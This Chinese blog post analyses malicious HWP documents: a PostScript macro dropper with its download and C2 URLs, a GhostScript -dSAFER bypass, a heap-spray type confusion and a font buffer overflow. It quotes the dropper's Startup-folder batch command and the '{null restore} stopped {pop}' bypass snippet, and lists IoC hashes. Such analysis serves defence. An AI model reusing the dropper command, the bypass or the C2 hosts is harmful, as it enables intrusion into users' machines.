0x0 前言
0x1 什么是HWP
HWP全称是Hangul Word Processor,意为Hangul文字处理软件。主要为韩国国内提供服务。韩国国内市场占有率为75%以上。功能类似于国内的WPS或者微软的office组件。
参考自:https://ti.360.net/blog/articles/analysis-of-group123-sample-with-hwp-exploitkit/
0x2 Hwp样本概述与分析思路
Hwp和office一样,有至少两种攻击手段。一种是类似于(就是)宏样本,与office不同的是,office使用的是vb的脚本语言,而Hwp使用的是称为PostScript的脚本语言。
PostScript(PS)是主要用于电子产业和桌面出版领域的一种页面描述语言和编程语言。PostScript是一种基于堆栈的解释语言(例如stack language),它类似于Forth语言但是使用从Lisp语言派生出的数据结构。这种语言的语法使用逆波兰表示法,这就意味着不需要括号进行分割,但是因为需要记住堆栈结构,所以需要进行训练才能阅读这种程序。
第二种就是利用hwp本身的漏洞,使用包括但不限于溢出,类型混淆之类的漏洞,改变程序的执行流,进而实施攻击。
根据上述所说,针对Hwp样本分析思路就是:首先使用hwpscan查看一下hwp文件基本结构,重点是是否存在ps文件。这样就排除他不是宏样本。接着查看目录是否存在esp文件,如果有就有很大概率说明是利用了某个esp漏洞。排除上述两种之后,如果文档打开会奔溃,那么就可能存在其他漏洞。可以使用vt去搜索一下。
参考自:https://zh.wikipedia.org/wiki/PostScript
0x3 宏类型样本
- IoC:106f24660aa878c6aaa5f30422d1916b
首先使用HwpScan2工具打开样本文件。HwpScan2工具下载地址为https://www.nurilab.net/hwpscan2,可以看到存在一个BinData节。
将其Decompress转储出来,可以看到,根据PostScript语句如下代码是将Y101数组与ED60732AA6FE818830ADCAE0C84717EE
这个key进行异或。解密得到下一层的混淆代码。
如下图
得到新的加密ps代码。通读代码发现大致逻辑是将数组/Y77与Y17 Y99 16#24相加如下代码:
Y77 length Y17 Y99 16#24 add
此时有两个思路,第一个,按照逻辑利用源码进行解密。第二个对PostScript解析器进行调试。这里使用第二种。使用调试的方法由有两种方法,第一,利用OD直接打开gbb.exe(在Hwp安装路径之下),在参数传入第一层解密好的文件。如下图1为此方法。
第二种方法是,利用进程镜像劫持,启动调试器,然后开始调试,这是调试漏洞的常见方法。
主要讲一下思路:通过观察,目标是解密Hex数据串。我们只需要知道解密的数据即可。首先对CreateFile下断,然后对ReadFile下断。查看Buffer。待读入Hex之后下内存断点(不知道硬件断点为何失败)。然后F9,慢慢跟待到对Hex解密即可。
总结一下,组织利用Hwp文档进行恶意代码投递。使用到的样本(本样本)利用Hwp宏(没有漏洞)经过两次解密,得到一个具有联网功能的shellcode。然后通过访问https://www.calderonflooring[.]com/wp-content/uploads/2018/webfont1.dat
和https://www.calderonflooring[.]com/wp-content/uploads/2018/webfont2.dat
下载两个PE文件。
PE分析
webfont1.dat和webfont2.dat实质上是两个PE文件,且两者是同一份源代码,但是webfont1.dat是X86,webfont2.dat是X64的。
主要通过构造Http请求,使用Post方式,请求https://www.mantoolmfg.com/wp-content/plugins/simple-sitemap/about.php
,https://justintimecorp.com/wp-content/plugins/wordpress-seo/left.php
,https://psalmsfm.org/wp-content/plugins/donate-plus/pay.php
url。然后通过WinHttpReceiveResponse等API接收和校验响应报文。使用WinHttpReadData并读取响应的数据
通过读取响应实现远控目的。命令为0x38CE55u时,为获取计算机盘符并发送。为0x21279Eu时,为从云端读取数据,并写入本地。当命令为0x2AFCB2u操作读取机器信息,并发送。当 Commond > 0x48D6FC时。执行cmd.exe.
当Commond == 4773628。执行进程映射。
- URL
0x4 GhostScript沙箱绕过漏洞
首先使用HwpScan2提取样本文件,发现存在eps文件,EPS是Encapsulated Post Script的缩写,是一个专用的打印机描述语言,可以描述矢量信息和位图信息,支持跨平台。
通过查看BIN0006.eps,可以发现样本进行如下操作:首先获取了appdata的路径,然后字符串凭借形成%appdata%\Microsoft\Windows\Start Menu\Programs\StartUp\UpgradeVer45.bat。将copy /b "%appdata%\\*.oju01" "%appdata%\\WinUpdate148399843.pif" & "%appdata%\\WinUpdate148399843.pif" & del /f "%appdata%\\WinUpdate148399843.pif
写入UpgradeVer45.bat。
接着创建\Dhh01.oju01和\Dhh02.oju01,将MZ标志写入\Dhh01.oju01,然后循环读取closefile的Hex串。写入\Dhh02.oju01.
这条语句copy /b "%appdata%\*.oju01" "%appdata%\WinUpdate148399843.pif" & "%appdata%\WinUpdate148399843.pif" & del /f "%appdata%\WinUpdate148399843.pif"
作用是将两个文件拼接在一起。
漏洞分析:通过上述分析,我们知道脚本功能是释放三个文件到启动目录,但是GhostScript提供了一个名为“-dSAFER”的参数来将EPS脚本的解析过程放到安全沙箱中执行,以防止诸如任意文件写这类高危操作发生。但是Hancom Office自带的使用GhostScript源代码开发出来的程序并没有使用这个参数。也就是说,Hancom Office自带的解释器没有安全沙箱这样的高危操作缓解的措施。也就间接的造成了沙箱绕过漏洞。
我们重新理一下Hwp漏洞触发的流程,首先,当我们使用Hancom Office打开恶意文档,自带的解释器会对参数进行适当的处理,然后跳转到gswin32.exe调用gsdll32.dll文件对ps脚本进行解析。当我们使用带有-dSAFER参数的命令,执行gbb.exe -dSAFER BIN0006.eps
的时候,由于验证不合理,造成了漏洞利用,但是我们使用同目录下gswin32.exe并且带上-dSAFER参数参数,可以发现没有创建文件。
值得注意的是restore也会造成-dSAFER选项失效。使用{null restore} stopped {pop}
即可绕过沙箱。原理如下:PostScript是一种“逆波兰式”(Reverse Polish Notation,也称为后缀表达式)的语言。简单来说就是操作数在前,操作符在后。PoC中这条语句是一条典型的PostScript异常处理语句,stopped操作符用于PostScript的异常处理,也就是说stopped执行前面{}中给出的过程,如果解释器在执行该过程期间出现错误,它将终止该过程并执行stopped操作符之后{}中的过程。null restore会引起类型检查错误(/typecheck error),同时restore的执行将LockSafetyParams设置为False,stopped捕获到异常,弹出栈顶元素null,GS继续运行,但此时LockSafetyParams的值还没恢复为True。
- 参考自:
- IoC:3f92afe96b4cfd41f512166c691197b5
0x5 类型混淆
首先利用HpwScan2查看文件结构,可以发现一共有7个Section流在BodyText中。在2-6号Section中发现大量的雪橇指令,预估存在堆喷射。并且在雪橇指令的终点处发现标志wvrsu
。之后预估为shellcode
然后开启页堆gflag.exe /I Hwp.exe +hpa
。并在程序Hwp.exe启动的时候通过映像劫持挂上windbg。跑起来后,中断在08f9028a出现访问异常,定位于 [edx+54h] 处。这是因为开启了页堆造成的。
接着查看反汇编代码,看到将[edx+54h]这个未初始化的值赋给eax,然后调用了eax。
然后关闭页堆,同时对发生崩溃的call eax下断。
触发漏洞使得EIP转移到 call eax {0e0c0e0c},t跟入。发现是一些雪橇指令,雪橇指令(或者堆喷射原理)见:https://blog.csdn.net/magictong/article/details/7391397。找到了这些雪橇指令就相当于定位到shellcode。
根据之前,通过HpwScan2分析得到shellcode的标志wvrsu
,通过搜索内存区域s -d 0x3 l?0x7fffffff 0x53525657
,得到如下含有wvrsu
的堆区。结合雪橇指令滑入的地址eip=0e0c0e0c,定位到0x0ecbfc5b.bp 0x0ecbfc5b
bp 0x0ecbfc5b
,g到0x0ecbfc5b,可以看到shellcode首先通过cpuid指令,通过去ecx第31位的值是否等于1判断样本是否处于虚拟机中运行。
在跟0x0eccfca2,r ecx = 0
将ecx置0。跟到0x0eccfd21处,发现jmp eax调用了LoadLibraryEx。bp 0x0eccfd21
下断。shellcode总计调用了LoadLibraryEx
,GlobalAlloc
,CreateFileW
,GetFileSize
,SetFilePointer
,ReadFile
,CreateProcessA
,VirtualAllocEx
,WriteProcessMemory
,CreateRemoteThread
。可以明确知道shellcode使用WriteProcessMemory将第二段shellcode写入notepad中,然后执行新的shellcode。
第二层shellcode首先在%temp下释放了wsss.dll文件,然后调用了wsss.dll文件。
- IoC:33874577bf54d3c209925c9def880eb9
0x6 缓冲区溢出
第四种是缓冲区溢出漏洞,Hwp2.0 偏移 0x48E 的位置开始是字体结构,前两个字节是字体名称数量,每个字体名称长度为 0x28。在程序读取Hwp2.0的文档的时候,首先使用ConvertFilterFileToWorkFile将文档转化为Hwp3.0,然后调用Set20FontList 子函数处理字体结构。但是在进行复制字体名称的时候,需要将arySrc[0x28]的数据复制到aryDest[0x28],但是本应在arySrc[0x28]中最后一个字符为’\0’,但是此处为3C。造成了缓冲区异常,从而触发内存访问异常。
当触发异常1后,然后进入SEH处理流程,调用SEH Handler。然后通过pop-ret指令跳转到shellcode
没有复现成功,参考自:https://wooyun.js.org/drops/APT%20洋葱狗行动(Operation%20OnionDog)分析报告.html分析报告.html)